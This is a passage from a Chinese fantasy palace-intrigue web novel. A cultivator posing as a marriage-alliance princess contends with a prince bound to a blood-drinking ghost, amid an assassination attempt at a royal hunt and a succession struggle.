孤竹京笑意渐渐变冷,神情愈加阴沉,忽然远处传来一阵嘈杂的声音,寻声望去似乎是淳瑶公主离开的方向。
很快,两个蒙面人跳出来持刀拦路,孤竹宇启口催促:“你去救公主,这里交给我。”
孤竹京来不及多想,闻言疾步跑去。
扶开乱丛,他只看见淳瑶公主昏倒在泥地,周围无人,走前几步,他看清楚一把小匕首深深嵌于腹部中,红血汩汩留出。
闻到铁腥味,骤然头昏眼花,捂头半跪在面前。怪异的声音传入耳畔:“我要血……”
“去……喝下它,我要她的血!”
听到这句话,身体竟然不受控制一般,弯腰垂手,即使他尽最大力气挣扎,却依旧无效。
像一个跪拜神佛的信徒,匍匐在地上,垂落的发丝碰到了血,遮挡住视线,眼前模糊不清。
唇瓣温热,吮吸一口,除了满口腥气,紧接着一股热流在四肢百骸流蹿。
你是谁!?
孤竹京心中怒吼,偏偏无可奈何。
那道奇怪的声音继续说:“血…不够!”
话落,他继续被声音的意识控制,把淳瑶公主搂在怀中,一阵淡淡的香气浸入血气中,低头咬在玉颈上。
公主虽然晕倒,但是在这一瞬间,蹙起秀眉,轻吟颤抖。这个反应居然让他颇为满意,手覆盖上后脊,安抚起怀中战栗不安的女子。
这一次,唇瓣是热的。甚至比方
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才喝下去的血更加浓稠,渐渐的,他不在抵触这种味道,贪婪吸食犹如恶鬼。
声音终于餍足道:“这样……才够。”
……
“孤竹、孤竹京!”
“你放开我!”
任舒映气的满面潮红,竭力挣扎,孤竹京有什么毛病吧居然在喝她的血?!
心跳似鼓震,偏偏后背被人禁锢的死紧,几乎要被他抱的喘不过气,孤竹京罔若未闻,再次舒出一口又热又痒的气息。
“啊……嘶……”颈脖有疼又痒的,颇为难耐之下,她催动内力,好不容易偏侧了身子,一巴掌呼到孤竹京脸庞上。
“啪!”
声音响彻,好在效果显著,腰部上如同枷锁束缚的手松动了些。
孤竹京眼底掠过一丝茫然,随后空洞的瞳眸渐渐清明起来。
“你……放、放开啊。”
任舒映目光凝在他苍白俊逸的脸上不动了,他唇边沾了一圈血,不难知道脖子为什么会有刺痛。
孤竹京用舌头顶了顶被扇的一侧,脸上浮现出一个怪异又邪气的笑容。
他是这样越不说话,任舒映便越心惊胆战,偏偏在慌乱下,她不经意间瞥见血灯就出现在她衣脚下。
孤竹京动了动,出乎意料低头伏在她后背,后颈摩挲片刻,耳畔低哑道:“陪我留在这里吧……”
“滚开啊!”
奋力抵抗,她腰间莫名一松,立刻翻身起来,孤竹京立马觉得自己心都空虚许多,还有些后悔放开她了。
“你、你……血灯怎么会在这里?”现如今她心绪乱成一团麻线,话语吞吐半天,拎起血灯警惕打量孤竹京。
孤竹京一开口,任舒映顿时怔住,怀疑自己莫不是出现幻觉,怎么他嘴巴里的两侧有利刃一般的牙齿?!
不对啊?血灯也没有燃起来,怎么会有幻觉……!!
思索片刻,忽然间一群人急匆匆跑来,孤竹京却在转眸间消失无踪。
任舒映紧紧捏着血灯,惊魂未定瘫倒在原地。
“公主……公主!”杨掌事率先跑过来,拉起她,随后焦急大喊:“公主受伤了,快把马牵过来啊!”
44.旖旎靡梦红尘井(十四)
她做了一个很长的梦。
居然见到了师尊,
师尊看起来颇为着急,说话的速度特别快,“徒儿,此幻影乃我危及之时所留,我才发现阴魂金简内的灵魄被盗,你需细心谨慎。”
说罢,她低头一看,手里出现了幻隐珠。不过幻影珠被损坏了,剔透的珠子出现许多丝絮状的裂纹。
“据我所查,阴魂应该是百年前国灭的孤竹国人,若是寻找阴魂,定要寻孤竹后人,其血脉相仿,阴魂可以靠夺舍重生,故你要在发现后及时除之,莫要让他出来作恶。”
虔贞说罢,语断影消。
——
画面一闪,
她在一个荒凉的庙宇醒来,但是身体却宛如一尊石像,被定住一般不能行动。
不过眼球还可以转动,遂举目四望,周围毫无阴魂的气息,瞥视窗外,夜幕四合,夜色晖暗。风平浪静,星云点点,竟不知觉打起瞌睡。
夜半,庙宇外起了一阵疾风,枯树的叶子漫天彻地的飞扬。
虚掩的门被霎时吹开,个高大修长的一身形款款踏进屋内。孤竹京走向靠在红漆柱子旁,仔细地端详任舒映的脸,皎洁的月光将她的脸照的如同白玉,鬓角散落许多发丝,她蹙着眉,看着让人我见犹怜。
孤竹京动了一步,仅只有一尺的距离,蹲在她面前,将照在她身上的月光完全遮挡住了。
她确实是难得一见的美人,即使已经见过过次,仍然喜欢看着她的脸,就像如今,孤竹京也没有叫醒她,他在想,若是任舒映醒来第一眼,见到的是他,又会是什么反应?
任舒映确实是没有过多久便醒了。
她还做了一个梦,孤竹京灭了渺梦山,血尸遍地。而她死活都没有告诉孤竹京她的神献灵脉在何处,孤竹京忍无可忍,将她捆起来,把她的灵力抽干,折磨她的灵识继续逼问她。
惊魂未定猛的睁开眼睛,更加让她胆寒的是孤竹京居然就在她面前。
但是她诧异归一码,表情还是异常的平静。
二人无声的对视片刻,孤竹京挑起剑眉看着任舒映起伏的胸襟笑了笑,用十分柔和的嗓音问她,“做梦了?梦见我了吧?”
今天把公主吓的确实是不轻,他不觉得自己此番行事多僭越,反而觉得颇有意思。
任舒映没有回答他的问题,防备的看着他。
回想起幻影人师尊的话,她已发觉孤竹京异样,可能他已经被阴魂所夺舍了,为了不让阴魂发觉,她斟酌话辞,每每答话皆细致谨慎,唯恐说错话。
“孤竹京,你…把我带哪里来了?”
孤竹京毫不掩饰:“覆雪院,我幼时长大的地方。”
“……”
孤竹京意更甚。
任舒映看不懂了,她只觉得这个阴魂心思深不可测,揣度不出来是何用意。
两人干瞪半晌,孤竹京站起来看看她,“乖乖留在这里,莫要离开。”
尚未等她作答,孤竹京忽然拂袖出去。撼刑剑被他留下来,只要任舒映试图逃跑,撼刑的便会拦下来。
情急之下,她发现手上还有一个破损的幻影珠,还存留一丝灵力,也不能顾及知可不可行,到底还是物尽其用。
她召出与自己一模一样的幻影人,吸引撼刑剑的注意力,自己翻窗逃跑。
逃出去没多久,狂风骤雨席卷而来,她发现原来覆雪院就在行宫内。出来后一群待从都捧着一团漆黑的东西,慌慌张张来往,任舒映拉过一人问:“你们怎么了?这是……?”
待女见任舒映衣着华丽,耐着性子解释:“回贵人,猎场出现了反贼,许多人受伤了,我们奉命前去领药。”
“还不快点啊!磨磨蹭蹭的,若是怪罪下来,谁担当的起?!”
话罢,抬眸看去,前面有个掌事的老宫女在怒骂,显然不想让小待女在继续和她搭话,
待女吓的一惊,匆忙行礼后便低着头跟着人潮涌去。
反贼?
她第一时间想的是孤竹京,他不会是去杀人了吧?
寻思须臾,她决定跟着待从一同赶往猎场。猎场现如今守卫森严,非得搜身,严审才可以放行。
好在任舒映说出身份后,皇后身边的大掌事便来接她,才得以进到猎场,
引道烽火台路程中,她才知道猎场出了何等大事。
并非是孤竹京去杀人,而是一群反贼在猎场设下埋伏,试图在猎场弑君。此等大逆不道之举,却因为武将纷纷中计,手下精兵皆未调遣过来,远水解不了近渴,为了牵制拖延,故无人敢上前阻拦。
只能眼睁睁看着圣上重伤难医,血尽而昏。
皇后听闻此消息,火气攻心,当场在屋子里昏了过去。下人吓的手足无措,四处求救。
可如今大部分医师皆被带入猎场,烽火台唯留寥寥几个医师束手无策。所有人便因为皇后昏迷不醒,一时之间群龙无首,主心丢了一般,混乱不堪,唯恐猎场反贼攻上行宫。
怎么说,孤竹京全程都还没有出场,她疑惑问:“太子呢?”
“太子在也遇害了,方才回到行宫接到消息,便马不停蹄带了一些人刚回猎场。”
“哦……”
任舒映心下微沉,忽然发现一丝怪异,太子不回烽火台,为何直接回了行宫?
大掌事年纪大了,什么大事小事都见过,见公主忧心忡忡,眉头紧锁,以为是在挂念着太子的安危。
遂稳声安抚道:“不必担心,太子殿下未伤到要害,手下兵卒也多,反贼定然可以剿灭。”
“……”
我担心的是这个吗?她急的差点没说出来。
登上烽火台,眺望猎场,忽见山岭相掩,骤然腾起发黑浓的烟雾。
……
她顺道有去照看皇后,不过离开短短一
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夜,她苍老许多,病恹恹躺在被褥中不省人事,任舒映顿感惋惜,还没有出手呢,她就撑不下去了。
柳元霜坐在在皇后床榻边,淡淡将目光扫过任舒映,开口道:“公主,借一步说话。”
两人也不是第一次独处,任舒映微顿首,便和柳元霜走到寝外。
柳元霜打量四周无人驻足在附近后,正色问了她一个问题:“公主,你和太子在游猎时发生过什么?”
念及和淳瑶公主先前的过节,她再次解释:“事关重大,不然我不会跟你问这些问题。”
“……遇刺。”
任舒映回头细想,那个时候几个持刀行凶的人是在她面前出现的,大概的目的似乎是只杀她,而孤竹宇和孤竹京倒是安然无恙。
所以从她醒后,到至今都认为是孤竹宇和她合作,实际上就是把她当做一个棋子罢了。就是刻意把孤竹京吸引过来后,便想要杀她过河拆桥。
柳元霜继续追问:“然后呢?是谁救了你?”
思绪回笼,任舒映忽然沉默起来。
当然也不是要包庇孤竹京,只是还有尚未解开的疑点。故不想草率答话。
沉默在柳元霜眼里,就是默认一般,马上着急又激动,抓起她的手臂一直反复的问道:“是不是孤竹京……是不是?”
可还未等任舒映说话,柳元霜已经认定此事,瞪眼凝着,
“你别被他骗了!他就是一个疯子,他想要杀了你,杀了太子!要杀了所有人!”
任舒映纹丝不动,而在默声不语的捕捉出柳元霜眼底暗藏的惊恐和怨恨。
这让她觉得很奇怪,柳元霜忽然无凭无据玉她说这么多,又能说服什么。
良久,任舒映退开手臂,“柳姑娘,你可知道祸从口出一话?”稍顿,继而开口,“还有,你凭什么觉得,我会相信你的一面之词?”
面对任舒映冷漠回应,柳元霜心中挣扎一番还是决定将一事说道来,
“孤竹京,他——”
“圣上回来了!”话被打断,大掌事喜出望外,柳元霜闻言不得已将话头吞回肚子里。
任舒映跑到烽火台外沿,站立栏杆边,台下之景尽收眼底,也让她脑子当即一片空白。
怎么会……
孤竹京怎么会押着狼狈不堪的太子回来。
拉长脖颈,柳元霜不知何时跑下烽火台,冲进人群里,大喊要见太子。孤竹京却动手摆了摆手,几个女子示意点头,就这么把柳元霜扣住了。
这一切让她始料未及,眸光凝固在孤竹京平静的脸庞良久,孤竹京骤然抬头看向任舒映,露出一抹不寒而栗的怪笑。
随后漫不经心伸手,刻意捏着一颗珠子。
这是完全破损的幻影珠。
孤竹京带着大将们离开,杨掌事悄无声息走到她身边:“……四皇子带话,要公主留在屋内,晚些时辰便来寻。”
45.旖旎靡梦红尘井(十五)
屋内?
杨掌事刚刚说完,唯恐任舒映拒绝,即刻上前引路:“公主随我来。”
以为杨掌事都是毕恭毕敬,一副拘谨之态。任舒映自从遇到杨掌事,还成未见过她如此强硬的说话。以及躲闪的眼神中,暗蕴着丝丝缕缕无奈与心虚。
这一刻,她脑海中跳出一个问题,杨掌事是在怕她,还是在畏惧孤竹京?
沿烽火台的楼梯下去,经过几个长廊,她被带到一个小院子内,烽火台常年无人搭理,就算是皇亲国戚来了都是临时除尘,马马虎虎应付过去了。
偏偏此处甚是整洁,窗明几净,空无纤尘。方才进入院子,便已经看到院子外面都是腰胯长刀之人。
回想起来,确实是在外重兵把守,孤竹京发现她用幻影珠的把戏,这回是还怀疑她要逃跑,所以才派来这么多人手的吧?
“杨掌事,”
公主乍然发声,脸上又不带着任何表情,杨掌事见状步子一顿,甚至身躯微微颤抖。
“方才那是怎么回事?太子怎么会被押回来?”
哦……原来是闲聊。
杨掌事心有余悸吐出一口气,佯装思索,缓和片刻凑到公主耳畔小心翼翼答:“哦,是、是太子殿下在游猎之时勾结反贼,好在四皇子及时赶到,悉数擒拿,反贼才没有得手。”
“什么?!“
任舒映诧异凝眉,
阴魂它居然不杀人,反而还救人,如此异常,绝对是有问题啊,他该不会是想着……一锅端吧?!
杨掌事观察到公主惊异表现,又回想孤竹京的话,忍不住开口提醒她:“公主,恕婢直言,以后在四皇子面前,切莫想着太子殿下了。”
“为何?我不是太子妃吗?”
“四皇子……”方说几字,杨掌事顿时反应过来,刹住话头,她自认为自己也是个明白人,怎么看不出来四皇子对公主的用意,可这话又不敢明说。
任舒映正等她下文,孤竹京不知何时出现在门口外。杨掌事注意到,哪里还敢多说一句话,脚底抹油一般退下。
孤竹京提步走来,随口问:“很喜欢太子妃这个位置吗?”
孤竹京应该是听见她方才说的话,说话时又夹杂着一丝酸涩:“……还是喜欢孤竹宇?”
“我与太子殿下不熟,何来喜欢?”
“不喜欢吗……”
任舒映果断点头,灵光一闪,随即说:“倒是宣瑜公主,曾经给我看过一把剑,唤‘叩雪’,我日思夜想多日了。”
闻言,孤竹京浅笑之意不达眼底:”你还喜欢剑?”
孤竹京深思时,她继而话锋一转,胡乱编造:“也不是喜欢,是宣瑜公主看不起我们巽国女子,所以游猎开始那日,我便与她做了赌注,凭谁猎得更多,剑就得归谁。”
但因中途发生猎场反贼这等事,这赌注至今未有一个结果。
孤竹京若有所思:“我让宣瑜公主过来?”
啊?不是,阴魂这么快便答应了?但细细回想,她其实有些分不清孤竹京究竟是不是阴魂,一来他所作所为颇为怪异,可又在她直觉吧,面前此人没有要她的命。
任舒映平复心绪,到底还是露出一抹笑意:“多谢四皇子。”
孤竹京来时悄然,走的也快。甚至在当晚,宣瑜公主便领着拿把熟悉的不能再熟悉的长剑过来。
“宣瑜公主,我猎得的猎物不多——”
任舒映正要说明一下情况,对方面无表情打断:“叩雪剑归你,你替我给四皇子带话,让他说到做到。”
哈?孤竹京又搞了什么事啊?
任舒映怔怔凝视,宣瑜抛下叩雪剑便离起身离开。可惜了,她虽然猎得的不多,但是有一只稀少可见的白狐尚未拿出来看看。
打开剑匣,不出所料,叩雪平静的躺在里面。不过和撼刑一般,感觉不到以往熟悉的剑灵意念。红尘井本来就限制极多,如今叩雪剑还可以使用她已经知足了。
夜深,任舒映睡着陡然闻到一股烧焦的味道,心头泛起一种不详的预感,她爬起来,走出庭院。抬头望向天幕,角一侧火光冲天。
“来人啊!来人啊!”
她喊了几声,不过无人作答,杨掌事也不见了。既然无人在外看守,她披上一件外袍循着火光源头去,渐渐靠近,救火的侍卫拦下她,
“不要靠过去,火势太大,往原路回吧。”
任舒映眼底倒映熊熊燃烧的房屋,止住脚步。
“任姑娘,”孔黎在后唤道,“我要走了。”
“走?”任舒映有些茫然。
“对,我要离开红尘井了。”她指向火势正盛之处,“他在里面,我要去陪他。”
“啊?那你呢?”
“不必担心,我已经取得红线,马上就可以回到修界。任姑娘你也尽快回来,我在那里等你。”
孔黎留下温柔浅笑趁着侍卫不备,钻进火海里。
啊?都走了?任舒映反应过来,感慨万千。
扶鸾,孔黎都走了。
虽然火在偏僻之处烧起来,但是连接着烽火台,火来不及扑灭一直蔓延开来,就连周围的树林都不可幸免。
——
她被孤竹京的侍从带回行宫,遂向杨掌事问起夜中起火时失踪的缘由。杨掌事自是实话实说,结果是因为她在后院睡着了,看守她的侍卫因为发现火灾便都赶去帮忙。
料杨掌事如今也不敢撒谎,继续问:“那火烧哪里去了?”
“哦,是一处粮库。”
还真是奇怪,怎么会是粮库呢?
“哎,还出了一件大事。”杨掌事回忆一番,喟叹道:“三皇子葬身火海了。”
对于任舒映而言,这件事不让她惊讶了,孔黎就是为了三皇子。
不行,她也要收拾收拾离开红尘井了。
夜半,她实在想不出如何对付阴魂,便拿出干枯的血灯,重新放血,起火。
也算是瞎猫碰死耗子。血灯居然还可以使用,虽火光极其微弱,但是烟雾居然有意识一般,徐徐飘向外面。
行吧,那就去看看。
带着血灯起初在行宫还需要遮遮掩掩,烟雾致幻,不得已加快脚步,最后烟雾渗入无人的屋内,其实还怪瘆人的,透过窗子,内无灯光,死寂中还透露一丝诡异。
真的怕了啊,万一死在里面怎么办啊?
任舒映如今只能提着血灯,接着幽色昏光,环顾四周,踌躇不决。
等等,不对啊,血灯颜色怎么变了!?
“吱呀!”
心头一颤,紧闭的大门乍然打开,好像里面有人影晃动,灯光隐现。
壮了好几次胆,她走到门后张望,
……?
居然是孤竹宇?
任舒映走进去轻声问:“太子殿下?你怎么坐在这里?”
孤竹宇抬头看向她,冷声命令道:“给孤解开绳子。”<
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哦,原来是被绑起来了啊,真可怜。
任舒映胆子大了点,便走面前忽然一笑,纹丝不动。
孤竹宇眯眼凝视许久,扭动身躯,示意快点解开绑在手腕的绳子。
她摆头道:“我不会解。”
“什么不会?”
孤竹宇蒙了。
“我,不会解开。听懂了吗?”任舒映笑眯眯注视他,心里幸灾乐祸,这个太子也有今天啊,快哉快哉!
“太子殿下,告诉我,谁把你关在这个地方的?”
孤竹宇看见她的态度,后知后觉是被骗了,咬牙切齿:“淳瑶公主,如今你还要明知故问吗?”
任舒映怔住,不会又是……孤竹京吧?
“孤就不该留你活着。”他恶狠狠的盯着,逐字顿句:“你以为攀附上孤竹京便可以高枕无忧么?”
“太子殿下,我可以告诉你,我从未与四皇子有其他交涉,倒是您,在猎场利用我吸引四皇子注意力,随后又是串通反贼,是你先要牺牲我的命,按理说应该是你先违背了我们的交易吧?”
孤竹宇被堵的哑口无言。
“小女子可惜命的很,你们如何争权夺利我不管,我亦不想插足你们这淌脏水。太子殿下你就在这里自生自灭吧。”
她话已说尽,转身一看,孤竹京像鬼一样就在她后背。
“……”
她觉得可以活到现在已经很不容易了,每次都要被孤竹京吓到。这时手中血灯的烟雾缓缓收了回来,幽光变得更加亮。
孤竹京瞟了一眼,目光移至太子,面色自若:“回去吧。”
“……哦。”
她还是有些难以置信,就这么轻轻松松回去了?
杨掌事在外等她,见人从来,急促道:“公主走吧,婢子已替您收拾好了衣物,咱们要回临城了。”
话还未说,被杨掌事大力拽上一个马车,待马车走远,任舒映沉下一张脸开口:“可以说孤竹京又要带我去干嘛了吧?”
她一直都不喜欢被人支配,不管是在修界还是红尘井,这种感觉只会让她觉得自己就是一个任人摆布的工具。
杨掌事打量公主神情,小心翼翼问:“你都知道了?”
她还不至于有眼无珠至此,此从杨掌事一昧为孤竹京说话时,她便看出端倪,起初还以为会是柳元霜的眼线,直至方才她恍然大悟,杨掌事几乎对孤竹京唯命是从。一时感慨孤竹京无权无势,居然可以把眼线安排道她身边,该说他有多可怕啊?
“公主见谅,婢子也是听命行事,此次涉及您安全,四皇子才打算连夜让你离开的。”见任舒映没有发怒,便继续说:“公主,太子殿下勾结的反贼是巽国旧部,而皇后暗中与巽国旧部来往之事,已经被圣上知晓了。”
她听懂了,所以她作为巽国之间的和亲公主,若是有人拿此事做文章,她定然会被牵连。好吧,姑且可以理解孤竹京的做法了,转念一想,不对啊,孤竹京为什么要保我?
哎,算了,无所谓,这也不是真正的孤竹京,方才血灯反应,便可笃定他身上是阴魂无疑了。主要还是该想想怎么取红线离开才是。
“我们现在去哪里?”
现在的情形,感觉回宫中是自投罗网呢。
“公主,我们去四皇子府邸。”
啊?哈?那岂不是更加好下手了?
“好吧,”
不过样子还得装,她勉为其难点头。
46.旖旎靡梦红尘井(十六)
赶往孤竹京府邸后,她已有两日未出门。一来,杨掌事应该是听了孤竹京的命令,不让她出去,二来出去也不知道该做什么。
思索许久,好像在红尘井也已有几个月了,忽然发现不知不觉间,已经习惯了凡界的生活,修界什么的距离她很遥远了。
她倚靠在软榻上,百无聊赖翻起孤竹国的地域图,毕竟孤竹国以后就是魔域,不如多看几眼,哪日要是又被带到魔域,也不会人生地不熟。
许是近日风平浪静,她闲的久了,心里面想的就多,看着看着眼皮缓缓垂下。
就在她翻了一个身就这样睡觉时,寝外大门乍然哐当一声闷响,她被吵醒了。
一阵匆匆脚步声音渐渐靠近,任舒映才意识到不对。
杨掌事不是才走没多远吗?怎么不打招呼又折返回来?
她刚爬起来,垂落的门帘刚好被人掀开,与门口站立的人对视。
“……孤竹京?”
孤竹京沉着脸一言不发,迈着步子走向她,那个眼神被盯着感觉特别心慌。
“喂,你干嘛?!”
孤竹京站在床沿边上,弓腰双手支在被褥,语气生硬:“……给我血。”
话落,她顿时明白了。是时间到了,阴魂又来讨要养料,她断然不能拒绝,否则阴魂当场要她命也不是没有可能。
但是她一直不能确定一件事,孤竹京究竟有没有完全被阴魂控制?
想了想,任舒映决定问:“孤竹京,是因为阴魂所以你才要血吗?”
“是不是阴魂在控制你?”
但是孤竹京思考须臾,觉得阴魂之事她也已经知道,没有必要隐藏,便摆头:“不是,阴魂不会控制我,它只要你的血。”
这么说,孤竹京没有被控制吗?
阴魂狡诈,还需要想个办法把真的阴魂吸引出来才行,任舒映半信半疑打量。
孤竹京眼眸愈加深邃,一直盯着面前女人的脸。
脑海忽然一阵刺痛,阴魂传来一阵急促声:“我要血!孤竹京!”
阴魂后悔死了。
本来打算夺舍孤竹京,没想到孤竹京居然不是人,而是心魔!没有夺舍成功不说还被他强行困住,在这个心魔里面根本出不来。
如今唯一能和心魔相互牵制的时候就是现在了,没有养料,又不肯放它出去,只能不停吵吵嚷嚷,用阴魂之力攻击他的魔识。
“孤竹京给我血啊!你要是不给,我们就一起死吧!”
它才不管孤竹京怎么搞到血,反正没有养料,就要一直烦他。
先前血灯还在,在阴魂之力强盛的时候,还能跑出去,靠着里面的血撑一段时间。
现在出都出不了。
“孤竹京你必须给我准备血!”
一声声的催促,让他莫名烦躁。任舒映还在喋喋不休问一堆废话:“阴魂缺养料了,你一般都什么感觉啊?”
孤竹京不想忍了,耐心耗尽,头痛欲裂,他趁任舒映问话之际,猝不及防一个饿狼扑食,欺身把人压倒在床上。
任舒映:“……?!”
孤竹京哑声道:“让你给我血,你怎么就这么磨蹭?”
任舒映顿时吓的瞳孔一缩,语无伦次:“我现在给你,放开我,现在给你,马上就——”
话尚未说完,他一口咬在她两片翕动的唇瓣上,这是他观察许久,认为最适合取血的位置。
任舒映不停的挣扎,又被孤竹京攥的死死,动弹不得。
她内心是极度崩溃。
她先不说如今是个和亲公主,但是作为一个杀了无数魔族的修士,居然被魔族,不对……
甚至是魔域主夺走了初吻,可谓是贞操掉一地。
孤竹京真的就是一条狗,饿的饥不择食的那种。任舒映被啃的呜呜咽咽,一句完整的话都说不出来。
孤竹京还没舍得用口中两侧外锋利的牙伤她,倒任舒映自乱阵脚,把自己嘴巴咬破皮开血,
他忍不住闷闷笑出声音,
反正不是他咬伤的,也不是第一次喝血,负罪感彻彻底底消失,随后心安理得吮吸起来。
阴魂得了血没在烦他,对着孤竹京道:“血怎么这么少啊?不够啊!”
任舒映开不了口,心头之恨也只能自己咽下去,
“阴魂!!老子要宰了你!!”
良久,孤竹京得以食饱魇足,躺在任舒映身边闭目养神。
任舒映早在起初挣扎的时候便耗尽力气,现在气的话也说不出来,像一条咸鱼瘫着,她忽然扯过被孤竹京压着的被子,蒙在自己脸上。
她觉得这样,至少可以冷静冷静。
孤竹京翻了身,侧脸盯着鼓囊的被子。随意瞥见发丝犹如绸缎,凌乱撒在被褥上面,
嗯……确实是很狼狈。
他又勾唇一笑,直至烛台的光微熹没,任舒映睡沉了,便没有发出任何声响,起身出了寝阁。
——
“……公主?公主?”
当她起来时候,已经是天光大亮,杨掌事看见公主一副恹恹欲睡,无精打采的样子,顿时惊愕僵在原地,
“公主……你……嘴巴——”
杨掌事说到一半才反应过来,四皇子是清早天还没有亮的时候出了公主的屋子。<
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p>难道他们……
任舒映被醒时,还以为是做了一个很长的梦。闻言,她抚摸上自己有辣又肿的嘴巴,脑子翁的一下炸开,乱七八糟的画面在脑海接踵而至。
杨掌事吓的不敢开口,脸色迅速恢复平静,改口问:“公主,要……沐浴吗?”
沐浴?为什么沐浴?!
任舒映不懂凡界的规矩,直愣愣询问:“大白天的,为什么沐浴?”
杨掌事是个老人了,拿脚指头猜,都知道昨夜发生过什么,既然木已成舟,那倒不如安安分分伺候着。
杨掌事以为是巽国那风俗与这不同,一副循循善诱解释:“公主入乡随俗,这里的姑娘初次同房,最好还是要沐浴……”
“?”
什么?什么啊?!不是??
任舒映凝噎的说不出话,脸上又红又紫。
公主这一反应,杨掌事愈加笃定是在害羞。任舒映百口莫辩,解释半晌无用后,只得无奈被人拉去沐浴。
其实还好只是在红尘井,要是在修界,她这老脸也不用要了。
在浴桶泡了一会,杨掌事忽然折回来,见她挎着一张脸,垂头丧气,任舒映好奇问:什么了?”
“……公主,皇后薨了。”
”啊?”任舒映诧异挑眉,
“怎么这么突然啊……”
她虽然对皇后没有感情,甚至以为扶鸾之事,还想要她以命抵命,没想到计划赶不上变化。
“自从圣上在猎场上出事,皇后身子就大不如前,前几日天圣上忽然起意,在夜半拟好废太子诏书,皇后得知,百般求情劝阻无果,在圣上殿前跪了一宿,这才撑不住了。”
“……那反贼呢?”
“四皇子已经处理好了此事,反贼已经认罪,皆是与太子殿下一人所谋划,不会涉及到皇后,也不会牵连公主,大可放心。”
孤竹京原来这么快就处理好了啊……
她到底点头明了,收拾收拾起身。方回了主屋,便和孤竹京打了照面,
看见此人,任舒映顿时回想昨天发生的事,怒火中烧,一言不发凝视。
孤竹京应该是从宫里回府,立马就来找她,见到人遂道:“圣上召你尽快进宫,到时候你进宫,若如有人问起来,就装说在我这里养病,其他不必理会。”
“嗯。”
好吧,既然是来带话,不咸不淡应了一声。
“你在生气。”
孤竹京肯定地问。
……
但是不想和他回答这个问题,脸刷的冷下来,随即转身离开。
杨掌事见状,夹着尾巴紧跟其后。
47.旖旎靡梦红尘井(十七)
去皇城的路上,孤竹京又送了一程,
她在看了一眼,终于开口:“孤竹京你不嫌麻烦吗?”
可孤竹京忽然一笑,“无妨。”
两人虽对昨夜发生的事心照不宣,但是他倒是看得出来,这个公主自己内下还膈应着,见她主动开口看,应该是生的气已经消的差不多,他犹豫片刻问:“你今夜要留在宫里吗?”
……?
这问的什么问题?
不过她捕捉到一丝怪异,瞪着他:“你……不是,阴魂又不够养料了吧?”
“没有,我只是建议你不要留在宫中,今夜可能回不太平。”
孤竹京都怎么说了,那肯定是有什么事要发生,
莫不是又他要搞事?
正所谓神仙打架,凡人靠边。
她识相没有过问,沉吟半晌,勉为其难道:“我尽量不留在宫中吧。”
——
等到了皇城,径自去见圣上,不想人没有见到面,圣上忽然突发旧疾,在大殿外稍等片刻,一个侍从从里面迎面而来,毕恭毕敬行礼:“公主,恐怕您今日是白来一趟了。”
好吧,见不到也别无他法,她点点头没挪动脚,思索须臾,关心一句:“圣上现如今如何了?”
侍从喟叹一声,好心提醒:“不大好,方才喝下药又昏昏沉沉睡去,您要不过几日在来吧,”
看得出来圣上如今也是无暇顾及她,寻思片刻她带着杨掌事原路折返。
“公主,您这是去哪里?”杨掌事随她走了几段路,忽然发现不是出宫的路,不禁开口询问。
这个杨掌事怎么这么快便忘了以前的主子?她头也不回,边走边问道:“杨掌事,你以前不是在皇后身边服侍吗?”
杨掌事闻言立马知道公主要去哪了,可又莫名心虚:“啊……正是,”
“有一件事我还是想问问你,在扶鸾出事那日,你有没有知情的内幕。”
皇后已死,杨掌事就算是说出什么,也不会得罪人,组织话辞,声音压的极低,话中尽是遮掩不在的恐慌:“扶鸾出事绝对不是婢子所为!”
“我没有说是你所为,你告诉我,是不是皇后的人原来是要杀我?”
杨掌事欲哭无泪,这里还是在宫道上呢,人多口杂的,这小祖宗怎就挑这个时候问啊?
看着杨掌事沉默不语,
“罢了,先走吧,你要是不想说,我也不勉强。”
杨掌事缓和片刻,忽然发现这个公主太有手段了。且不说四皇子如今对她可以如此上心,就看现在,这寥寥几句,就听懂了许多话术。
原以为公主只是会点小聪明,直至方才公主原来是告诉她原来皇后暗中做的事,清清楚楚。没有逼迫她说话,是想留点时间准备。
难怪,四皇子如此看重,若是得了淳瑶公主的支持,再接手巽国那边的一部分资源。如今太子倒台后,只需要对付一个二皇子,那四皇子日后也有一登高位的机会。
“杨掌事?还不走?!”
催促声,让她一个激灵,回过神,公主已经走了十几步,正疑惑瞄眼。
“哦噢。”
——
孤竹京回到宫中并非只是为了公主多送一程,他的手下待从带话来,
圣上已经拟好了继任太子的新人选,
只是花落谁家,至今无人知晓。
他凭借游猎救驾立了一个大功,也是最近接手了许多事情,在朝中炙手可热,而他的二皇兄,在朝中与孤竹宇相斗多年,也有不少正常自己的大臣,羽翼丰满。
不过单凭他一个救驾护主,才初次接触朝中之事的皇子,确实是难以托付大任,但他不甘。
孤竹宇是他扳倒的,凭什么要让他人坐收渔翁之利?
就算是太子之位弃了。
但是淳瑶呢?
脑海中不由得浮现她的脸庞,
……不可能拱手让人。
沉吟至今,他越想越不安。若他不是太子,那先前于宫外蛰伏多年,费尽心机,难道都要前功尽弃?
“札云,继续盯着父皇,我去见见二皇兄。”说罢,孤竹京沉下眸子,往西殿去。
二皇子是收到圣召马不停蹄赶到宫中,不过还没有到东殿,就被人拦下来。
起初他一直在想,父皇这个时候召见他一定是有什么要是要说,怎么反倒是来了,父皇不愿意见他了?
等到耐心耗尽,殿外一道纤长的身影渐渐靠近,他不明所以凝视着来人:“孤竹京?”
“怎么还是你?”还在满腹疑窦思索,乍然一拍脑袋:“是把你骗本王到这里?!”
还挺聪明。
孤竹京淡淡问:“你想继续做我的皇兄,还是步孤竹宇的后尘?”
如此明白的话,谁听不出来?
不过孤竹京这次威胁,莫非父皇已经选定了人选?而且说不定就是他……
二皇子压下激动,清咳,稳了稳继续道:“四弟,这件事岂是你我可以决定的?
“我给你一个安然无恙的选择,你还不要
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吗?”
“……孤竹京,你该认命!”
二皇子闻言加重语气,挑眉看着他,逐字逐句。
认命?
孤竹京觉得好奇怪,为什么所有人都要他认命呢?
幼时,他被精神错乱的生母遗弃在覆雪园,一夜寒霜风雪,高烧不退,命在旦夕。
所有人都让他认命,
他不是还活着好好的。
有时候认命,还不如拼命。一朝尘土被掩,一朝明珠见曦,
“这么说,皇兄你是不愿与我和谈了吗?”
二皇子露出一抹邪笑,大喊:“来人!”
随后莫约几十个持刀的待从鱼贯而入,将西殿围的水泄不通,竟是比孤竹京的人手多上三倍有余。
“四弟,看清楚你现在的处境,本王有权,有人。你有什么?是父皇前几日随手哄你,给你的那几个没有用的调兵权吗?”
